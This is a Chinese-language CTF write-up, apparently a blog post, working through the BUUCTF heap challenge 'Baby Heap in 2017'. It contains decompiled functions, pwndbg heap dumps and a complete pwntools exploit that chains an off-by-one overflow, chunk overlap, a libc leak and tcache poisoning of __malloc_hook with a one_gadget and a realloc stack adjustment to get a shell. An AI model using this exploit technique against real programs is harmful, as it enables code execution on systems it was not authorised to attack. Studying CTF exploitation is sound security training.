realloc调整栈帧打ogg

下载链接如下

BUUCTF在线评测

可以换成2.27有tcache版本去打打,更加贴近现实

calloc,offbyone,freeoverlap,tcachepoisoning,realloc调整ogg

今天和别人说了说pwn的处境,感觉越说烦恼就越大,pwn题必须要静下心来好好沉淀。

这里这个题2.23版本,我按照2.27版本去打的。

题目分析

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = sub_B70(a1, a2, a3);
  while ( 1 )
  {
    sub_CF4();
    switch ( sub_138C() )
    {
      case 1LL:
        sub_D48(v4);
        break;
      case 2LL:
        sub_E7F(v4);
        break;
      case 3LL:
        sub_F50(v4);
        break;
      case 4LL:
        sub_1051(v4);
        break;
      case 5LL:
        return 0LL;
      default:
        continue;
    }
  }
}

这里是这个主函数,没有什么特殊的地方,这里必须每次都要认真去对待这些重复的步骤。

char *sub_B70()
{
  int fd; // [rsp+4h] [rbp-3Ch]
  char *addr; // [rsp+8h] [rbp-38h]
  unsigned __int64 v3; // [rsp+10h] [rbp-30h]
  __int64 buf[4]; // [rsp+20h] [rbp-20h] BYREF

  buf[3] = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  alarm(0x3Cu);
  puts("===== Baby Heap in 2017 =====");
  fd = open("/dev/urandom", 0);
  if ( fd < 0 || read(fd, buf, 0x10uLL) != 16 )
    exit(-1);
  close(fd);
  addr = (char *)((buf[0] % 0x555555543000uLL + 0x10000) & 0xFFFFFFFFFFFFF000LL);
  v3 = (buf[1] % 0xE80uLL) & 0xFFFFFFFFFFFFFFF0LL;
  if ( mmap(addr, 0x1000uLL, 3, 34, -1, 0LL) != addr )
    exit(-1);
  return &addr[v3];
}

这里是第一个函数,果然不是题目难,而是我对函数功能的理解太浅了。

在Linux系统中,/dev/urandom 是一个伪设备文件,属于随机数生成器的一部分,主要用于提供密码学安全的伪随机数(CSPRNG, Cryptographically Secure Pseudorandom Number Generator)。以下是它的核心作用和工作原理:

  1. 主要功能
  • 生成随机数据流:当程序读取 /dev/urandom 时,它会返回一个由内核生成的伪随机数序列。用途:常用于需要随机数的场景,如:
  • 加密密钥生成(如SSL/TLS证书、SSH密钥)。
  • 会话令牌(Session Tokens)。
  • 密码盐值(Salt)。
  • 其他需要不可预测性的安全操作。

又是一个不知道的知识点,这里的这个目录其实见了也有几次了。

这里的这个控制内存分配的算法看不懂。

void __fastcall sub_D48(__int64 a1)
{
  int i; // [rsp+10h] [rbp-10h]
  int v2; // [rsp+14h] [rbp-Ch]
  void *v3; // [rsp+18h] [rbp-8h]

  for ( i = 0; i <= 15; ++i )
  {
    if ( !*(_DWORD *)(24LL * i + a1) )
    {
      printf("Size: ");
      v2 = inputs();
      if ( v2 > 0 )
      {
        if ( v2 > 4096 )
          v2 = 4096;
        v3 = calloc(v2, 1uLL);
        if ( !v3 )
          exit(-1);
        *(_DWORD *)(24LL * i + a1) = 1;
        *(_QWORD *)(a1 + 24LL * i + 8) = v2;
        *(_QWORD *)(a1 + 24LL * i + 16) = v3;
        printf("Allocate Index %d\n", (unsigned int)i);
      }
      return;
    }
  }
}

这里是内存分配的函数,这里的a1是那个看懂怎么进行内存分配的参数,呜呜呜,这里一环扣一环,啥也看不懂。

这个你知道控制内存分配的算法实现是什么吗,这里大致是产生了什么效果,看不懂 Albert Kesselring: 06-02 20:30:55 ? Albert Kesselring: 06-02 20:31:11 他给随机地址申请了个 Albert Kesselring: 06-02 20:31:13 可读可写 自然: 06-02 20:31:58 那他那个buf[0],buf[1]里是干什么的 Albert Kesselring: 06-02 20:32:05 读入的随机数 Albert Kesselring: 06-02 20:32:22 buf0经过模和加之后取8比特 Albert Kesselring: 06-02 20:32:25 来申请 Albert Kesselring: 06-02 20:32:37 v3好像也是 Albert Kesselring: 06-02 20:33:01 低位000 Albert Kesselring: 06-02 20:33:08 保证一页一页的 自然: 06-02 20:33:37 buf[0]里的实际数值是一个字节吗,进行这么大的数取余的意义是什么呀 Albert Kesselring: 06-02 20:33:56 buf[0]是八字节 Albert Kesselring: 06-02 20:33:59 int64 Albert Kesselring: 06-02 20:34:13 buf1是addr的索引吧 Albert Kesselring: 06-02 20:34:16 后续返回地 Albert Kesselring: 06-02 20:34:24 反正就是返回给你了一个可读可写的地方 Albert Kesselring: 06-02 20:34:27 这个地方你不可控 自然: 06-02 20:34:29 哦哦,醍醐灌顶,思维惯性了 Albert Kesselring: 06-02 20:34:30 应该就是这样 自然: 06-02 20:34:50 okk

好啦,这里的随机数解决了,究其原因是一个核心的数据类型弄混了。

__int64 __fastcall sub_E7F(__int64 a1)
{
  __int64 result; // rax
  int v2; // [rsp+18h] [rbp-8h]
  int size; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = inputs();
  v2 = result;
  if ( (unsigned int)result <= 0xF )
  {
    result = *(unsigned int *)(24LL * (int)result + a1);
    if ( (_DWORD)result == 1 )
    {
      printf("Size: ");
      result = inputs();
      size = result;
      if ( (int)result > 0 )
      {
        printf("Content: ");
        return edit(*(_QWORD *)(24LL * v2 + a1 + 16), size);
      }
    }
  }
  return result;
}

这里是这个编辑函数,这里还嵌套了一个内置算法。

unsigned __int64 __fastcall sub_11B2(__int64 a1, unsigned __int64 a2)
{
  unsigned __int64 v3; // [rsp+10h] [rbp-10h]
  ssize_t v4; // [rsp+18h] [rbp-8h]

  if ( !a2 )
    return 0LL;
  v3 = 0LL;
  while ( v3 < a2 )
  {
    v4 = read(0, (void *)(v3 + a1), a2 - v3);
    if ( v4 > 0 )
    {
      v3 += v4;
    }
    else if ( *_errno_location() != 11 && *_errno_location() != 4 )
    {
      return v3;
    }
  }
  return v3;
}

这里是这个编辑函数里面使用的算法。

我现在挖漏洞的能力太弱啦。

__int64 __fastcall sub_F50(__int64 a1)
{
  __int64 result; // rax
  int v2; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = inputs();
  v2 = result;
  if ( (unsigned int)result <= 0xF )
  {
    result = *(unsigned int *)(24LL * (int)result + a1);
    if ( (_DWORD)result == 1 )
    {
      *(_DWORD *)(24LL * v2 + a1) = 0;
      *(_QWORD *)(24LL * v2 + a1 + 8) = 0LL;
      free(*(void **)(24LL * v2 + a1 + 16));
      result = 24LL * v2 + a1;
      *(_QWORD *)(result + 16) = 0LL;
    }
  }
  return result;

这里是这个delete函数

int __fastcall sub_1051(__int64 a1)
{
  int result; // eax
  int v2; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = inputs();
  v2 = result;
  if ( (unsigned int)result <= 0xF )
  {
    result = *(_DWORD *)(24LL * result + a1);
    if ( result == 1 )
    {
      puts("Content: ");
      sub_130F(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8));
      return puts(byte_14F1);
    }
  }
  return result;
}

这里是这个打印函数。

unsigned __int64 __fastcall sub_130F(__int64 a1, unsigned __int64 a2)
{
  unsigned __int64 v3; // [rsp+10h] [rbp-10h]
  ssize_t v4; // [rsp+18h] [rbp-8h]

  v3 = 0LL;
  while ( v3 < a2 )
  {
    v4 = write(1, (const void *)(v3 + a1), a2 - v3);
    if ( v4 > 0 )
    {
      v3 += v4;
    }
    else if ( *_errno_location() != 11 && *_errno_location() != 4 )
    {
      return v3;
    }
  }
  return v3;
}

这里是这个打印函数的具体实现,就来恶心一下来一个用户定义函数,呜呜呜。

11

EAGAIN

资源暂时不可用(非阻塞模式下操作未就绪,如无数据可读或缓冲区满)。

4

EINTR

系统调用被信号(signal)中断(如用户按下 Ctrl+C 触发了 SIGINT)

这里是这里多出来的一部的解释,也是某种程度上让代码更加健壮了。

之后的选项五5是返回,剩下的其他选项是继续执行。

db 3 dup(0):

  • db:汇编指令,表示定义字节(Define Byte)。
  • 3 dup(0):重复3次 0,即连续3个字节被初始化为 0x00。
  • 实际数据:00 00 00(十六进制

这里是这里打印之后还是额外的输出这几个字节。

解题思路(以绝对地址为标准)

这里没有找到漏洞,看这里的这四个函数没有任何问题,并且多了一个入口的门槛,虽然是看懂了,但是并不是知道意义在什么,就是限制了最大不能超过这些数值吗。

这里找了漏洞,这里虽然用的是read的函数的输入,但是这里的第三个参数是用户自己可以控制的,结合这里是2.27的版本的Ubuntu,可以打tcachebinattack。

思路是首先创造一个uaf,怎么创造呢?扩展堆块不错,好像也没有什么其他的方法在没有堆地址的前提下.

怎么扩展堆块呢?这里选择向上合并,向下合并其实也可以,但是这里修改pre_size多少有点不习惯用绝对视角去看的,其实还可以,以绝对视角搭配绝对书写结合起来的话一下子也是很清晰。这里练练第一个绝对视角,这里的这个视角适合整体上的布局。

这里既然选择了向上扩充,那又可以怎么去实现呢,我记得好像是要先释放,然后修改size位,再申请回来才有效(但是释放后修改,更上面的chunk的pre_size的检查不确定能不能绕过去),所以可以先修改大小,然后再释放,之后申请回来,也可以规避掉pre_size的这个检查。

这里既然选择向上扩充,就要布置好堆风水,这里用0x90大小的这个一般性大小的堆块来,但是后续还要去打hook。所以这里选择一个0x60的布局,一个0x90的布局,其实吧,没什么必要,这里没有size位的检查。

这里0x60的在上面,0x90的在下面,这里通过向上扩展,可以覆盖掉0x60的这个堆块(重合),然后可以释放0x60的这个堆块去泄露,所以这里最好是0x70在下面,0x90在中间,0x60在最上面,通过这个布局可以做到布局泄露和申请攻击两不误。接下来进行实践。

这里还有一个疑惑,这里的堆地址怎么泄露呢,一个是再次扩展一个堆块,其实吧,没什么必要,这里用完了直接破坏现场就行,接下来进行艺术的表演。

这里做题的时候发现了一个盲区,这里的编辑不能像uaf一样,必须在下面还有一个堆块,为这个自然而然的编辑提供条件。这里选用0x10大小的吧。

这里还有一个盲区,这里的申请是用的calloc函数,所以想要成功的话,还有在原先的基础上再申请7个同样合并后的chunk进入tcache。

这里还有一个盲区,这里的大小还是会进入tcache,仍旧需要提前填充满,或者准备一个更大的chunk。

这里不能准备更大的chunk,因为提前释放与这里的申请后拿回这里的这个流程相互冲突。

所以这里只能是提前放入bins然后泄露libc,这里应该是忽略了一个向上扩展的这里的一个机制。

今晚上再做做,感觉思路有点乱了,今天好好的沉淀了一下,这里在原先的基础上继续打补丁去做做试试。

这里的申请函数calloc,导致出现了昨天晚上不能解决的问题。

这里又出现了一个盲区,我这里扩展的堆块里面存储的值都被清空了,不理解是为什么啊。

这里思维中断性很强,这也是动手能力强的一个很大的短板。

这里已经泄露了libc,并且这里剩下的部分是进入了unsorted里面,而不是对应tcache的里面,这里的这个结果是让我比较意外的,ai又在扯淡。

可以再次基础上再次切割,然后造成直接性的uaf指针重合,然后修改fd直接打应该是没有什么问题。

这里申请一个0x50大小的chunk,然后释放掉这个chunk,然后修改指针2的fd为hook,然后申请两次,最后使用最后一个chunk上的指针覆写即可。

这里有一个问题是过程中出现了一个偏差,所以这里的用户指针还要单独去确定分别是对应了什么。

这里又有一个很大盲点,这里因为没有malloc函数,所以也不能进行常规的申请,这里的这个题用io打法感觉比这里的连贯性打法会方便很多,即使这是在低版本的libc中。

这里我基本就无法实现把伪造的chunk申请出来,

这里看了看答案的思路

可以去构造tcachepivoting,自从学了houseofbotcake后,就一直排斥用这里的填充的麻烦方法,这里确实是没有想到这个方法竟然会产生这么好的效果。这里的堆风水布局也是派上了用场。

这里继续进行填充到unsortedbin的数目,然后再次堆切割一次,同样的思路打ogg。

解题过程

ziran% checksec pwn66
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 5)
[*] '/home/ziran/Desktop/pwn第三页刷题记录/pwn66'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled

老规矩,这里看一下开启的保护。

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55ea74b34000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0x55ea74b34250
Size: 0x81

Allocated chunk | PREV_INUSE
Addr: 0x55ea74b342d0
Size: 0xa1

Allocated chunk | PREV_INUSE
Addr: 0x55ea74b34370
Size: 0x71

Top chunk | PREV_INUSE
Addr: 0x55ea74b343e0
Size: 0x20c21

这里是这里最开始的堆布局

然后合并话计算一下,0x80+0x450+0x71=0x541

Allocated chunk | PREV_INUSE
Addr: 0x560f560f5000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0x560f560f5250
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x560f560f5270
Size: 0x191

Top chunk | PREV_INUSE
Addr: 0x560f560f5400
Size: 0x20c01

这里看一下效果

0x1eccc1c30c40:	0x0000000000000001	0x0000000000000010
0x1eccc1c30c50:	0x0000560f560f5260	0x0000000000000001
0x1eccc1c30c60:	0x0000000000000070	0x0000560f560f5280
0x1eccc1c30c70:	0x0000000000000001	0x0000000000000090
0x1eccc1c30c80:	0x0000560f560f5300	0x0000000000000001
0x1eccc1c30c90:	0x0000000000000060	0x0000560f560f53a0
0x1eccc1c30ca0:	0x0000000000000000	0x0000000000000000

这里看看这个布局,这里是看了1000个这样大小的数组才找到的。

这里感觉不怎么对我的思路,这里打印的话libc是很难实现的,因为我这里的非预期合并导致用户管理的数据没有修改。不对,我释放后刷新一次就可以完成同步的修改。

\Allocated chunk | PREV_INUSE
Addr: 0x55e3d4cde000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0x55e3d4cde250
Size: 0x21

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x55e3d4cde270
Size: 0x191
fd: 0x00

Allocated chunk | PREV_INUSE
Addr: 0x55e3d4cde400
Size: 0x191

不出意外还是出意外了,这里不知道为什么申请不回来。

0x10e66d3e3720:	0x0000000000000001	0x0000000000000010
0x10e66d3e3730:	0x000055e3d4cde260	0x0000000000000001
0x10e66d3e3740:	0x0000000000000180	0x000055e3d4cde410
0x10e66d3e3750:	0x0000000000000001	0x0000000000000090
0x10e66d3e3760:	0x000055e3d4cde300	0x0000000000000001
0x10e66d3e3770:	0x0000000000000060	0x000055e3d4cde3a0

这里是真的意义上失败了。

为什么申请不回来呢,不理解啊。

我想起来了,这里的申请是calloc函数,必须先把堆布局填满。

Allocated chunk | PREV_INUSE
Addr: 0x5569474f4000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0x5569474f4250
Size: 0x21

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5569474f4270
Size: 0x191
fd: 0x7f334613eca0
bk: 0x7f334613eca0

Free chunk (tcachebins)
Addr: 0x5569474f4400
Size: 0x190
fd: 0x00

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x5569474f4590
Size: 0x191
fd: 0x5569474f4410

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x5569474f4720
Size: 0x191
fd: 0x5569474f45a0

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x5569474f48b0
Size: 0x191
fd: 0x5569474f4730

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x5569474f4a40
Size: 0x191
fd: 0x5569474f48c0

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x5569474f4bd0
Size: 0x191
fd: 0x5569474f4a50

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x5569474f4d60
Size: 0x191
fd: 0x5569474f4be0

Top chunk | PREV_INUSE
Addr: 0x5569474f4ef0
Size: 0x20111

这里已经布局好了,这里只想着range了,忽略了idx也是从0开始的,出现了一点小失误。

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55e672817000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0x55e672817250
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x55e672817270
Size: 0x191

这里已经申请回来了,然后就是泄露libc。

[DEBUG] Sent 0x2 bytes:
    b'3\n'
[DEBUG] Received 0x7 bytes:
    b'Index: '
[DEBUG] Sent 0x2 bytes:
    b'2\n'
[DEBUG] Received 0x18 bytes:
    b'free(): invalid pointer\n'

这里不出意外的话又出意外了,这里的为什么是错误呢。

0x1be9bc753800:	0x0000000000000001	0x0000000000000010
0x1be9bc753810:	0x000055741428c260	0x0000000000000001
0x1be9bc753820:	0x0000000000000180	0x000055741428c280
0x1be9bc753830:	0x0000000000000001	0x0000000000000090
0x1be9bc753840:	0x000055741428c300	0x0000000000000001
0x1be9bc753850:	0x0000000000000060	0x000055741428c3a0

这里不理解为什么会有这个报错。假如有这个报错的话剩下的很难实现啊。不能删除其他的话我一开始的布局就没有意义啦啊。

这里还是需要重新算,这里的tcache机制忽略了。

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55dc7b529000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0x55dc7b529250
Size: 0x21

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x55dc7b529270
Size: 0x191
fd: 0x55dc7b52a1d0

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x55dc7b529400
Size: 0xa1
fd: 0x00

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x55dc7b5294a0
Size: 0xa1
fd: 0x55dc7b529410

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x55dc7b529540
Size: 0xa1
fd: 0x55dc7b5294b0

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x55dc7b5295e0
Size: 0xa1
fd: 0x55dc7b529550

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x55dc7b529680
Size: 0xa1
fd: 0x55dc7b5295f0

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x55dc7b529720
Size: 0xa1
fd: 0x55dc7b529690

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x55dc7b5297c0
Size: 0xa1
fd: 0x55dc7b529730

Allocated chunk | PREV_INUSE
Addr: 0x55dc7b529860
Size: 0x191

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x55dc7b5299f0
Size: 0x191
fd: 0x00

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x55dc7b529b80
Size: 0x191
fd: 0x55dc7b529a00

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x55dc7b529d10
Size: 0x191
fd: 0x55dc7b529b90

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x55dc7b529ea0
Size: 0x191
fd: 0x55dc7b529d20

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x55dc7b52a030
Size: 0x191
fd: 0x55dc7b529eb0

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x55dc7b52a1c0
Size: 0x191
fd: 0x55dc7b52a040

Allocated chunk | PREV_INUSE
Addr: 0x55dc7b52a350
Size: 0x191

Top chunk | PREV_INUSE
Addr: 0x55dc7b52a4e0
Size: 0x1fb21

pwndbg> bins
tcachebins
0xa0 [  7]: 0x55dc7b5297d0 —▸ 0x55dc7b529730 —▸ 0x55dc7b529690 —▸ 0x55dc7b5295f0 —▸ 0x55dc7b529550 —▸ 0x55dc7b5294b0 —▸ 0x55dc7b529410 ◂— 0x0
0x190 [  7]: 0x55dc7b529280 —▸ 0x55dc7b52a1d0 —▸ 0x55dc7b52a040 —▸ 0x55dc7b529eb0 —▸ 0x55dc7b529d20 —▸ 0x55dc7b529b90 —▸ 0x55dc7b529a00 ◂— 0x0
fastbins
empty
unsortedbin
empty
smallbins
0xa0: 0x55dc7b5292f0 —▸ 0x7f2ffd812d30 (main_arena+240) ◂— 0x55dc7b5292f0
largebins
empty

这里已经是布局成功啦。

这里的堆布局细看的话还是有很多细节和我预期不一样。

不出意外还是出意外了,泄露的过程有卡住了,应该又是这里的连锁反应。

0x4a5d3b494c20:	0x0000000000000001	0x0000000000000010
0x4a5d3b494c30:	0x000055bd99c80260	0x0000000000000001
0x4a5d3b494c40:	0x0000000000000180	0x000055bd99c81360
0x4a5d3b494c50:	0x0000000000000001	0x0000000000000180
0x4a5d3b494c60:	0x000055bd99c80870	0x0000000000000001
0x4a5d3b494c70:	0x0000000000000060	0x000055bd99c803a0

这里就是有一个bug,这里我怎么调整都不会去申请哪个对应大小的堆块而是重新去开辟一个,这里是真的很不理解。

对了,这里的这个calloc申请决定了不能去复用这里的 tcache的大小的chunk。

0x30a6f06c6270:	0x0000000000000001	0x0000000000000010
0x30a6f06c6280:	0x00005586d7ebb260	0x0000000000000001
0x30a6f06c6290:	0x0000000000000188	0x00005586d7ebb280
0x30a6f06c62a0:	0x0000000000000001	0x0000000000000180
0x30a6f06c62b0:	0x00005586d7ebb870	0x0000000000000001
0x30a6f06c62c0:	0x0000000000000060	0x00005586d7ebb3a0

这里再次记录一下这里的情况。

0x8807f2c7b80:	0x0000000000000001	0x0000000000000010
0x8807f2c7b90:	0x000055b3ab4ce260	0x0000000000000001
0x8807f2c7ba0:	0x0000000000000070	0x000055b3ab4ce280
0x8807f2c7bb0:	0x0000000000000001	0x0000000000000090
0x8807f2c7bc0:	0x000055b3ab4ce300	0x0000000000000001
0x8807f2c7bd0:	0x0000000000000060	0x000055b3ab4ce3a0

这里打不动重叠指针的打法吧,这里是引起连锁反应相对是最小的。

pwndbg> x/gx 0x7f6929d63ca0
0x7f6929d63ca0 <main_arena+96>:	0x0000561590c3c350
pwndbg> x/10gx 0x7f6929d63ca0
0x7f6929d63ca0 <main_arena+96>:	0x0000561590c3c350	0x0000561590c3b2f0
0x7f6929d63cb0 <main_arena+112>:	0x0000561590c3b2f0	0x0000561590c3b2f0
0x7f6929d63cc0 <main_arena+128>:	0x00007f6929d63cb0	0x00007f6929d63cb0
0x7f6929d63cd0 <main_arena+144>:	0x00007f6929d63cc0	0x00007f6929d63cc0
0x7f6929d63ce0 <main_arena+160>:	0x00007f6929d63cd0	0x00007f6929d63cd0

这里看了看这个数组。

0xf21f6b37960:	0x0000000000000001	0x0000000000000010
0xf21f6b37970:	0x000055add98e8260	0x0000000000000001
0xf21f6b37980:	0x0000000000000070	0x000055add98e8280
0xf21f6b37990:	0x0000000000000001	0x0000000000000090
0xf21f6b379a0:	0x000055add98e8300	0x0000000000000001
0xf21f6b379b0:	0x0000000000000060	0x000055add98e83a0
0xf21f6b379c0:	0x0000000000000001	0x0000000000000090
0xf21f6b379d0:	0x000055add98e8300	0x0000000000000000

这里再次来确定一下这里对应的位置。

exp

#!/usr/bin/python3
from pwn import *
#from LibcSearcher import *
#from ctypes import *
#from base64 import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
#context(arch='mips',os='linux',endian='little',log_level='debug')
context.terminal = ['gnome-terminal','-x','sh','-c']
file_name = './pwn66'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
#libc_name  = '/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'
host = 'node5.buuoj.cn'# 'node2.anna.nssctf.cn'  #'1.95.36.136'
port = 26709
contents =1# 5201314
pie = 1

def create_io():
    elf = ELF(file_name)
   # libc = None 
    libc = ELF(libc_name)
    if contents == 1:
        io = process(file_name)
        #io = process(["qemu-mipsel","-L","/usr/mipsel-linux-gnu","-g","1234", file_name])
        def duan(*address):
            pay = ''
            if pie:
                for i in address:
                    pay += 'b *$rebase(' + str(i) + ')' + '\n'
            else:
                for i in address:
                    pay += 'b *' + str(i) + '\n'
            gdb.attach(io,pay)
           # pause()
        return io , duan , elf , libc 
    else:
        io = remote(host,port)
        elf = ELF(file_name)
        libc = None# ELF('./libc.so.6')
        return io,None,elf,libc

def main():
    global io , duan ,elf,libc
    io , duan ,elf,libc = create_io()
    global pr,pl,sl,s,sa,rf,rt,r,ru,ri,it,sp,p,cl,lg,ra,rn,q,pr2
    pr = lambda x:success('\x1b[01;38;5;214m'+hex(x)+'\x1b[0m')
    pr2= lambda x,y:success('\x1b[01;38;5;214m'+y+'='+hex(x)+'\x1b[0m')
    pl = lambda x:success('\x1b[01;38;5;214m'+str(len(x))+'\x1b[0m')
    sl = lambda x:io.sendline(x)
    s  = lambda x:io.send(x)
    sa = lambda x,y:io.sendlineafter(x,y)
    rf=  lambda  :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\0'))  
    rt = lambda x:io.recvuntil(x)
    r  = lambda x:io.recv(x)
    ra = lambda  : io.recv()
    rn = lambda  :u64(io.recvuntil(b'\n',drop=True)[-6:].ljust(8,b'\x00'))
    ru = lambda x:u64(io.recv(x).ljust(8,b'\x00'))
    ri = lambda x:int(io.recv(x),16)
    it = lambda  :io.interactive()
    sp = lambda  :sleep(1.5)
    q  = lambda  :sleep(0.1)
    p  = lambda  :pause()
    cl = lambda  :io.close()
    lg = lambda  :log.info('\x1b[01;38;5;214m'+ '-------------------------------------------'+'success stage'+'---------------------------------------------------------'+'\x1b[0m' )

def cmd(choice):
     rt("Command: ")
     sl(str(choice))
def add(size):
     cmd(1)
     rt("Size: ")
     sl(str(size))
def edit(index,content):
     cmd(2)
     rt("Index: ")
     sl(str(index))
     rt("Size: ")
     sl(str(len(content)))
     rt("Content: ")
     s(content)
def delete(index):
     cmd(3)
     rt("Index: ")
     sl(str(index))
def show(index):
     cmd(4)
     rt("Index: ")
     sl(str(index))
def ak1():
     add(0x10)#idx0
     add(0x70)#idx1
     add(0x90)#idx2
     add(0x60)#idx3
     for i in range(7):
          add(0x60)
     for i in range(7):
        delete(i+4)

     
     pd = b'a'*0x10
     pd += p64(0)
     pd += p64(0x191)
     edit(0,pd)
    
    
     for i in range(8):
        add(0x180)
     for i in range(8):
        delete(i+4)
     delete(1)
     add(0x70)
def ak2():
    # delete(2)
     #ra()
     global libc_base
     show(2)
     libc_base = rf()-0x3ebca0
     pr(libc_base)
def ak3():
     add(0x90)
     delete(4)
     pd = free_hook = libc.sym['__free_hook']+libc_base
     pr(free_hook)
     edit(2,p64(pd))
     
     add(0x90)
     add(0x90)
     edit(5,p64(system))
def ak4():
     add(0x90)
     add(0x60)
     delete(5)
     pd = malloc_hook=libc.sym['__malloc_hook']+libc_base-0x23
     edit(3,p64(pd))
     add(0x60)
     add(0x60)
     ogg = [0x4f29e,0x4f2a5,0x4f302,0x10a2fc][0]+libc_base
     #ogg = libc_base+0x4526a
     realloc_hook = libc.sym['__realloc_hook']+libc_base
     realloc = libc.sym['realloc']+libc_base+3
     edit(6,b'a'*(0x13-8)+p64(ogg)+p64(realloc))
     delete(0)
     sl(str(1))
    #sl(str(0))
if __name__ == '__main__':
    main()
ak1()
#ak2()

ak2()
ak4()
#duan()
#sp()
it()
'''
0x4f29e execve("/bin/sh", rsp+0x40, environ)
constraints:
  address rsp+0x50 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, "-c", r12, NULL} is a valid argv

0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  address rsp+0x50 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, rax, r12, NULL} is a valid argv

0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv

0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
'''

https://blog.csdn.net/qq_38154820/article/details/109040522

浅浅总结一下

这里是调整栈帧的打法的小结,这里的栈帧的变化,并不是自然而然,而是可以进行有迹可循的,并不是突然就会发生非常大的变化,这里是再次向下增长了一个函数所需要的栈帧。